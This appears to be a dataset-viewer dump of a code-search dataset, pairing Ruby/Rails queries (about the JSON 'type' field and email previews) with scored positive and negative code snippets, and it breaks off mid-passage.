query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
d2e8b43e0afaaf0478416fbbb16c9399
overriding this so the `type` in the json response is the same as the record's class name
[ { "docid": "6ff0a3ab082a54262f23dcbd89fdce01", "score": "0.0", "text": "def class\n __getobj__.class\n end", "title": "" } ]
[ { "docid": "c9abb10c3481ace5940bb500a6083eac", "score": "0.6899266", "text": "def type\n record.class.name or super\n end", "title": "" }, { "docid": "fbc785e1e4b6b05ce881e31fd71abfed", "score": "0.68092823", "text": "def type\n @json['type']\n end", "title": "" }, { "docid": "bb15f4e2c1787bf66e1545e385dff5ed", "score": "0.66965216", "text": "def jsonapi_model_type\n\t\t\t\t\tjsonapi_model_class_name.underscore.pluralize.to_sym\n\t\t\t\tend", "title": "" }, { "docid": "a5e2de87627261b8ba701f27e2af9163", "score": "0.66012436", "text": "def type\n response[\"type\"]\n end", "title": "" }, { "docid": "a5e2de87627261b8ba701f27e2af9163", "score": "0.66012436", "text": "def type\n response[\"type\"]\n end", "title": "" }, { "docid": "85507bbd47dd4996f4432fba5c63b57b", "score": "0.6574644", "text": "def as_json(options={})\n super(methods: :type)\n end", "title": "" }, { "docid": "aeefee7ece144139976af9a24e5d7695", "score": "0.6406374", "text": "def object response\n if response.is_a? Array\n return response.collect{ |object| \"Skydrive::#{object[\"type\"].capitalize}\".constantize.new(self, object)}\n else\n return \"Skydrive::#{response[\"type\"].capitalize}\"\n end\n end", "title": "" }, { "docid": "a9d60f9595c8c8eceb3a477243c837a5", "score": "0.63557416", "text": "def type\n self['type']\n end", "title": "" }, { "docid": "69e388688d1e236f7bc69902fc1c0e34", "score": "0.6269328", "text": "def as_json(options={})\n super(options.merge({:methods => :type}))\n end", "title": "" }, { "docid": "69e388688d1e236f7bc69902fc1c0e34", "score": "0.6269328", "text": "def as_json(options={})\n super(options.merge({:methods => :type}))\n end", "title": "" }, { "docid": "69e388688d1e236f7bc69902fc1c0e34", "score": "0.6269328", "text": "def as_json(options={})\n super(options.merge({:methods => :type}))\n end", "title": "" }, { "docid": "596579f97120a78ac3be4d3c63c44440", "score": "0.62573344", "text": "def type_name\n self['type_name']\n end", "title": "" }, { "docid": "73cc04bf4b73afdab02c26dbeb9b0a95", "score": "0.6252915", "text": "def get_type\n return @resource[:record_type]\n end", "title": "" }, { "docid": "d0aee03164e2e9fcae52d32077c75494", "score": "0.6239735", "text": "def json_key\n root || _type || object.class.model_name.to_s.underscore\n end", "title": "" }, { "docid": "0bd23cb571334e8f82784c476d02b709", "score": "0.62378126", "text": "def repeatable_thing_class\n base_type = attr_json_registration.type.base_type\n if base_type.is_a?(AttrJson::Model)\n base_type\n else\n # Will return a symbol name, confusingly\n base_type.type\n end\n end", "title": "" }, { "docid": "18ba48369bdbb3a8fa75e07c7a1c8ca6", "score": "0.6191308", "text": "def type\n self['type']['type']\n end", "title": "" }, { "docid": "bccc7ff7e2aaf3f02b03de4ea513d5ee", "score": "0.61845255", "text": "def type\n @json_body['type']\n end", "title": "" }, { "docid": "a467d37b463d34df204ab9e0e0178871", "score": "0.6173879", "text": "def type\n self[:type]\n end", "title": "" }, { "docid": "ee2f2261849e2d565b44385c0609c4dd", "score": "0.61624265", "text": "def as_json(options=nil)\n json = super\n json.merge({\"type\"=>self.type.to_s})\n end", "title": "" }, { "docid": "0ef803da60197833c0082f44e02debce", "score": "0.6153363", "text": "def type\n name = self.class.name.split('::').last\n return '<type>' if name == 'Record'\n name\n end", "title": "" }, { "docid": "ee62252b7908a6fb96c3353f3e1fc066", "score": "0.6150524", "text": "def as_json\n record\n end", "title": "" }, { "docid": "59dc0fffdd98065775411c234778696b", "score": "0.6145624", "text": "def type\n @data['type']\n end", "title": "" }, { "docid": "22e87038187c429105f3daed33a366ae", "score": "0.6124494", "text": "def type\n @data['type']\n end", "title": "" }, { "docid": "368a197d5571d9c82f63870b1d216999", "score": "0.60875183", "text": "def type; self._type; end", "title": "" }, { "docid": "aca041b796dce102b9daac05f2698b3b", "score": "0.60823536", "text": "def type\n raw_data['type']\n end", "title": "" }, { "docid": "4febe1994f8ed79c1ad67327cd8e0eca", "score": "0.6078527", "text": "def name(); RECORD_INFO[@type].name; end", "title": "" }, { "docid": "d19d8454ab233f7f5a1d5145f3467fdd", "score": "0.6061509", "text": "def record_type\n attributes['item_type']\n end", "title": "" }, { "docid": "fa3d79b6dd4f5a804c84d4261619c46b", "score": "0.6040813", "text": "def type\n self[:type]\n end", "title": "" }, { "docid": "387a3fb3c246969b1efbc59b53c791de", "score": "0.59624773", "text": "def type_of_record\n tor = @job.metadata_hash['type_of_record']\n TYPE_OF_RECORD[tor] || tor\n end", "title": "" }, { "docid": "4dab177976f10b03778fc63ea1cf2774", "score": "0.59532416", "text": "def type\n result_hash['typ']\n end", "title": "" }, { "docid": "dc4debb5a792282e4bd5b9f87c835c32", "score": "0.5951672", "text": "def record_class\n self.class.const_get(:Record)\n end", "title": "" }, { "docid": "3608ef9d0ffcfb1a6516b6654db861c5", "score": "0.5926673", "text": "def type\n\t\t\t@data[\"type\"]\n\t\tend", "title": "" }, { "docid": "e242f148399c8e01459fb5e5a66cefd0", "score": "0.5911004", "text": "def json_key\n root || _type ||\n begin\n object.class.model_name.to_s.underscore\n rescue ArgumentError\n 'anonymous_object'\n end\n end", "title": "" }, { "docid": "2d3e09b10ee2823fa1e784ca071b839c", "score": "0.5908684", "text": "def record_klass\n @record_klass ||= self.class.name.gsub(/Mapper/, '').constantize\n @record_klass\n end", "title": "" }, { "docid": "a8b66575186cd2b215c91004e22b4283", "score": "0.5886605", "text": "def as_json(_options = {})\n super include: %i[sample_type object_type]\n end", "title": "" }, { "docid": "25e321f8497e738d4c6a7b43b1d9591b", "score": "0.5882161", "text": "def type\n data['type'].to_sym\n end", "title": "" }, { "docid": "24c6bcc3f6e34beb2a3ebbff553f8c03", "score": "0.58780265", "text": "def type\n _type\n end", "title": "" }, { "docid": "69d01f8c6cc0ec92939886ff93ba5243", "score": "0.58673966", "text": "def type\n super\n end", "title": "" }, { "docid": "254783427018cb129064a0d53a4097fa", "score": "0.58644885", "text": "def _type\n self.class.to_s\n end", "title": "" }, { "docid": "b921e551697848ad58ca27ce00ec5501", "score": "0.58566725", "text": "def parse\n (type, subtype) = parse_object([@name], JSON.parse(@json))\n (subtype || type).to_s.gsub(/\\n\\n$/, \"\\n\")\n end", "title": "" }, { "docid": "d3b7edc8d6608b65fdd44a6c0f465d54", "score": "0.58520746", "text": "def type ; metadata[:type] ; end", "title": "" }, { "docid": "c30d9e84ee6c49657563f97fe90ed7f2", "score": "0.5843932", "text": "def list_row_class(record)\n if record.is_a?(Client)\n record.client_status.status\n elsif record.is_a?(Url)\n record.url_status.status\n end\n end", "title": "" }, { "docid": "c518cd3e61b76683cfcaee0561679104", "score": "0.58373547", "text": "def type\n self.attributes[:type]\n end", "title": "" }, { "docid": "03462a01e0289dc0e8d75683244ec696", "score": "0.5825457", "text": "def get_type()\n res = super(context,self)\n return res\n end", "title": "" }, { "docid": "49488bb5955b31a2d7559306df338709", "score": "0.580562", "text": "def type\n end", "title": "" }, { "docid": "80498346454a9c8dfa07340b8b72f230", "score": "0.57935333", "text": "def type; super; end", "title": "" }, { "docid": "abfdd021ab9d59289977286cc8b936d6", "score": "0.5769845", "text": "def type\n self.class.class_name.downcase\n end", "title": "" }, { "docid": "d11d4f6e2b85c82d1ab4b755b445e2c0", "score": "0.576976", "text": "def api_attributes\n {\n :id => id.to_s,\n :type => self.class.name.underscore.downcase,\n :name => name,\n }\n end", "title": "" }, { "docid": "ccfb2eff5587ebed16ef5718f90e98ba", "score": "0.57683146", "text": "def to_json\n {\n :json_class => self.class.name,\n :display_name => self.display_name,\n :name => self.name,\n :types => self.types,\n :uuid => self.uuid\n }.to_json\n end", "title": "" }, { "docid": "82c29658a406281ece01e28fb0c2a14a", "score": "0.5765436", "text": "def get_record_type_code\n @record_type_code\n end", "title": "" }, { "docid": "df43cf9ea6877bbc1b6f6cb4a5f254d7", "score": "0.5755215", "text": "def result(cls)\n if cls < Base\n @result_class = cls\n else\n raise DataTypeError.new(\"#{cls.inspect} must be derived from Qumulo::Rest::Base.\")\n end\n end", "title": "" }, { "docid": "081dda90d5476d438c843b414935b42e", "score": "0.57498044", "text": "def type\n object.class.name\n end", "title": "" }, { "docid": "081dda90d5476d438c843b414935b42e", "score": "0.57498044", "text": "def type\n object.class.name\n end", "title": "" }, { "docid": "081dda90d5476d438c843b414935b42e", "score": "0.5748787", "text": "def type\n object.class.name\n end", "title": "" }, { "docid": "21dd6cf04262c6919af9e1041904f958", "score": "0.5745153", "text": "def type\n j_instance.getType\n end", "title": "" }, { "docid": "edd1b6d915c6b760d45d50378125d998", "score": "0.57231355", "text": "def type\n @payload['type']\n end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.57210463", "text": "def type; end", "title": "" } ]
bfbcddcc918ef40f76e5014276919dbc
Preview this email at
[ { "docid": "0b98135d06cf3fd6a2dc5e8f0bccce5c", "score": "0.0", "text": "def forget_password\n SendEmail.forget_password\n end", "title": "" } ]
[ { "docid": "f4f01bf0c4f6341760a71d13d7b6cc72", "score": "0.7310511", "text": "def preview_email\n email = UserMailer.emailing(@emailing)\n mail_inliner = Roadie::Rails::MailInliner.new(email, Rails.application.config.roadie)\n mail = mail_inliner.execute\n\n mail.html_part.decoded.gsub /http:\\/\\/coursavenue.com\\/UNSUB_PLACEHOLDER/, '*|UNSUB|*'\n end", "title": "" }, { "docid": "b31f6e281e5c32188de3858f7eb3861b", "score": "0.6892809", "text": "def preview(options={})\n building_message('preview', options)\n builder_for('preview').build!\n end", "title": "" }, { "docid": "2af71f794b481e1818b5a8cac93937f4", "score": "0.68353266", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "338cee58ab4d317268fb98d884b2205b", "score": "0.6834859", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "174960a76a8ec79314b2574c08e062a9", "score": "0.6801822", "text": "def show\n redirect_to new_email_template_preview_path(@email_template)\n end", "title": "" }, { "docid": "78a6d7dbc8759b407f0544c9c93b5fe6", "score": "0.6643096", "text": "def preview_test(content = 'Random content')\n @content = content\n mail subject: 'preview_test'\n end", "title": "" }, { "docid": "0638e6ba2509725495518708610c9547", "score": "0.658673", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = @preview_class.new.send(params[:mail_action])\n RailsEmailPreview.run_before_render(@mail)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "16730a748daa60684b80edbd8e5d6faa", "score": "0.63819754", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = preview_mail(edit_links: (@part_type == 'text/html'))\n RailsEmailPreview.run_before_render(@mail, @preview_class.name, @mail_action)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "e07a80174c8ef71b3a168593dc09eb44", "score": "0.63504976", "text": "def preview_url\n \"#{Fedena.hostname}/finance_settings/fees_receipt_preview?printer_type=#{self.receipt_printer_template}\"\n end", "title": "" }, { "docid": "d435d8817d2e9ce84f63a2b1494f6ced", "score": "0.63364995", "text": "def preview\n # TODO\n end", "title": "" }, { "docid": "0797c0eb85f9f54742e234851d9bd50e", "score": "0.625408", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink,\n noticelink: @noticelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @memberEmail = response.memberEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "5b81eae78c6d80f2b6b44e017ead7c0d", "score": "0.6249753", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @userEmail = response.userEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "00a6d70b8bd88b76e0be0416857327d4", "score": "0.62370425", "text": "def gift_message_preview(sender_external_id, receiver_external_id)\n raise \"Method not implemented!\"\n end", "title": "" }, { "docid": "376aaca9fa2e15468363906d37eea90f", "score": "0.62325394", "text": "def retrieve_message_template_preview(request)\n start.uri('/api/message/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "af8279cf0cdfa5c24618eb4023bea4db", "score": "0.6215887", "text": "def preview()\n if @phase == :invite\n previewInvitation()\n elsif @phase == :discuss\n previewDiscussion()\n elsif @phase == :vote\n previewVote()\n end\n end", "title": "" }, { "docid": "5e3a048d2fbd3eb6971329c146a5d6b3", "score": "0.61329186", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.61100966", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.61100966", "text": "def preview\n end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.61069196", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.6104919", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.6104919", "text": "def preview; end", "title": "" }, { "docid": "0a13dbf037f9c9155cd43d77cc515a8e", "score": "0.60546684", "text": "def preview_recipient(subject)\n message_div(subject).div(:class=>\"inbox_name\").span.text\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6032449", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6032449", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "007b8607d0ff1d162d40a0406e83a119", "score": "0.5959996", "text": "def preview(body = {})\n @client.invoices.preview(body)\n end", "title": "" }, { "docid": "ce803899ba411373ddbaf7e8e9ce28e3", "score": "0.59346145", "text": "def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ?\n [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n post \"sendpreview\", options\n end", "title": "" }, { "docid": "0be89313ba7a6c9b6c2feab3d3dd96cc", "score": "0.5913642", "text": "def preview\n %(<blockquote>#{title}\n #{message.at(0..100)}#{message.length > 100 ? '...' : ''}</blockquote> )\n end", "title": "" }, { "docid": "9cc99683af4dc42641fd1a599d064ab9", "score": "0.58353764", "text": "def preview_body(subject)\n message_div(subject).div(:class=>\"inbox_excerpt\").text\n end", "title": "" }, { "docid": "8436fcb400ee3b0b42fb243a53f203ca", "score": "0.58256847", "text": "def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end", "title": "" }, { "docid": "089ad760be1aa61d4a24eb8082149bda", "score": "0.58011264", "text": "def send_resume\n ResumeMailer.send_resume\n end", "title": "" }, { "docid": "a181145e8cec601ac2e00de53e8e75a9", "score": "0.57311475", "text": "def preview_text\n return @preview_text\n end", "title": "" }, { "docid": "63978d82f9bcaf2f0cdcefa86d182be8", "score": "0.571992", "text": "def email_view\n html = \"\"\n html << (ActionController::Base.helpers.link_to self[:email], ApplicationController.helpers.edit_url(self.class.base_class, self))\n html.html_safe\n end", "title": "" }, { "docid": "47c371933f0699fccf50316c670edc18", "score": "0.5716237", "text": "def preview_in_browser\n raise ActionController::RoutingError, 'Not Found' if !all_conditions_respected? || !@newsletter.already_sent?\n @content = @newsletter.content\n\n I18n.with_locale(@newsletter_user.lang) do\n render 'newsletter_mailer/send_newsletter'\n end\n end", "title": "" }, { "docid": "b9155eb9fccadbed9d4e6611c4f78a0d", "score": "0.5694853", "text": "def preview\n return @preview\n end", "title": "" }, { "docid": "75348a59de0e72f04b39a0d269bbbe81", "score": "0.5678175", "text": "def preview\n\t\t@template = ExtractionFormTemplate.find(params[:eft_id])\n\t\t@eft_id = \"eft#{params[:eft_id]}\"\n\t\t@sections = @template.eft_sections.collect{|x| x.section_name}\n\t\t@arms = @template.eft_arms\n\t\t@design_details = @template.eft_design_details.order(\"question_number ASC\")\n\t\t@baseline_characteristics = @template.eft_baseline_characteristics.order(\"question_number ASC\")\n\t\t@arm_details = @template.eft_arm_details.order(\"question_number ASC\")\n\t\t@outcome_details = @template.eft_outcome_details.order(\"question_number ASC\")\n\t\t@outcomes = @template.eft_outcome_names\n\t\t@adverse_columns = @template.eft_adverse_event_columns\n\t\t@quality_dimensions = @template.eft_quality_dimension_fields\n\t\t@quality_ratings = @template.eft_quality_rating_fields.order(\"display_number ASC\")\n\t\t\n\t\trender :layout=>false\n\tend", "title": "" }, { "docid": "0733e33e5c0a53420824ea98ff2d4a9e", "score": "0.5673164", "text": "def preview_profile_pic(subject)\n message_div(subject).parent.image(:class=>\"person_icon\").src\n end", "title": "" }, { "docid": "90d1ee048d9acae5809bc5c12c957e3e", "score": "0.5673096", "text": "def visualize_email(email, recipient_address)\n tf = Tempfile.new('email_visualize')\n tf.puts email.to_s\n tf.close\n `cat #{tf.path} | sendmail -t #{recipient_address}`\nend", "title": "" }, { "docid": "fcd459d3562b101a7a3e437356007e79", "score": "0.56721604", "text": "def preview\n entity[:preview]\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56689703", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56689703", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "fcb6e49325631dd6eb28d536616643d2", "score": "0.5666481", "text": "def preview(object)\n \n end", "title": "" }, { "docid": "86221619f2dbc1e6f99be6597dbfdaa4", "score": "0.5654249", "text": "def preview(**options); end", "title": "" }, { "docid": "d6fceb13866a36b6365d36bf6b9a10cd", "score": "0.56367975", "text": "def show_body\n prevent_browser_caching\n cms_edit_links!\n with_email_locale do\n _, body = mail_and_body\n render inline: body, layout: 'rails_email_preview/email'\n end\n end", "title": "" }, { "docid": "1f2ed06b63d1c4977a425d1de396581c", "score": "0.56233704", "text": "def preview\n return self.content[0...MAX_PREVIEW_LENGTH]\n end", "title": "" }, { "docid": "a2a0708a310d01982fbb003def48a342", "score": "0.5615281", "text": "def preview_post\n bodyArray = body.split(//)\n print bodyArray[0..4].join(\"\")\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.55954224", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.55954224", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "1a39fff727563e1e5412f5ca00d1f60f", "score": "0.558035", "text": "def preview\n validate_arguments!\n error_if_no_local_bot_found\n\n response = api.update_bot(bot, parse_manifest)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n response = api.destroy_draft_data(bot)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n puts 'Sending to Turbot...'\n\n handler = Turbot::Handlers::PreviewHandler.new(bot, api)\n runner = TurbotRunner::Runner.new(working_directory, :record_handler => handler)\n rc = runner.run\n\n if rc == TurbotRunner::Runner::RC_OK\n response = handler.submit_batch\n if response.is_a?(Turbot::API::SuccessResponse)\n if handler.count > 0\n puts \"Submitted #{handler.count} records to Turbot.\\nView your records at #{response.data[:url]}\"\n else\n puts 'No records sent.'\n end\n else\n error_message(response)\n end\n else\n puts 'Bot failed!'\n end\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.55714285", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.55714285", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "98c6a79aff36e16054c44d46ceb02e91", "score": "0.5561298", "text": "def setup_preview\n \n end", "title": "" }, { "docid": "44f07cdffe8e3aa49281cb5d8d87f1a9", "score": "0.55603474", "text": "def edit\n @review_email = @review.order.emails.build({order: @review.order, email_type: 'review', uuid: @review.uuid })\n render layout: false\n end", "title": "" }, { "docid": "d02590da2d541720cfc9e50f188c9ac4", "score": "0.5559292", "text": "def email\n @subtitle = \"Email\"\n end", "title": "" }, { "docid": "8da3fc5a1602e56bf7a622069bee3ee1", "score": "0.5554026", "text": "def preview\n preview_html=''\n preview_html = preview_documentation if options.meta # defined in meta.rb\n call_browser(\"data:text/html,#{CGI::escape(preview_html).gsub(/\\+/,'%20')}\")\n end", "title": "" }, { "docid": "4df5f86e163b8f74e08e443237cb134e", "score": "0.55515796", "text": "def preview_text(maxlength = 30)\n essence.preview_text(maxlength)\n end", "title": "" }, { "docid": "72a9ad562c05fe59143ae7975d6ad740", "score": "0.5551037", "text": "def preview\n @preview ||= ROCrate::Preview.new(self)\n end", "title": "" }, { "docid": "c09afc6bcf6c0a647969a2e61a9e8782", "score": "0.5549038", "text": "def preview\n @template = Template.find(params[:id])\n auth!(action: :preview)\n\n if stale?(last_modified: @template.last_modified.utc, etag: @template, public: true)\n # Hide the fields if the hide_fields param is set,\n # show them by default though.\n @hide_fields = false\n if !params[:hide_fields].nil?\n @hide_fields = [true, \"true\", 1, \"1\"].include?(params[:hide_fields])\n end\n\n # Hide the field names if the hide_text param is set,\n # show them by default though.\n @hide_text = false\n if !params[:hide_text].nil?\n @hide_text = [true, \"true\", 1, \"1\"].include?(params[:hide_text])\n end\n\n @only_fields = []\n if !params[:fields].nil?\n @only_fields = params[:fields].split(',').map{|i| i.to_i}\n end\n\n jpg = Mime::Type.lookup_by_extension(:jpg) #JPG is getting defined elsewhere.\n if([jpg, Mime::PNG, Mime::HTML].include?(request.format))\n @image = nil\n @image = @template.preview_image(@hide_fields, @hide_text, @only_fields)\n\n # Resize the image if needed.\n # We do this post-field drawing because RMagick seems to struggle with small font sizes.\n if !params[:height].nil? || !params[:width].nil?\n require 'concerto_image_magick'\n @image = ConcertoImageMagick.resize(@image, params[:width].to_i, params[:height].to_i)\n end\n\n case request.format\n when jpg\n @image.format = \"JPG\"\n when Mime::PNG\n @image.format = \"PNG\"\n end\n\n data = nil\n data = @image.to_blob\n\n send_data data,\n filename: \"#{@template.name.underscore}.#{@image.format.downcase}_preview\",\n type: @image.mime_type, disposition: 'inline'\n else\n respond_to do |format|\n format.svg\n end\n end\n end\n end", "title": "" }, { "docid": "47e9746a0d7aa24dae93513b9ea87cdd", "score": "0.55282027", "text": "def preview=(value)\n @preview = value\n end", "title": "" }, { "docid": "5fa3d3f7ee3f77048a0b4bda718ae25c", "score": "0.55279285", "text": "def preview()\n merge(preview: 'true')\n end", "title": "" }, { "docid": "cc395c791ed2a1faae1418b1fbfa9683", "score": "0.5527906", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "6ca2ba021b49dc42c4a8520927aad7a7", "score": "0.5527687", "text": "def preview\n show 10\n end", "title": "" }, { "docid": "b3d75d032542fc706e7bfcca69449247", "score": "0.5524942", "text": "def to_url\n \"#{self.class.to_preview_dir}/#{to_filename}\"\n end", "title": "" }, { "docid": "f59acf49a5127ed076526972b0697a56", "score": "0.5520847", 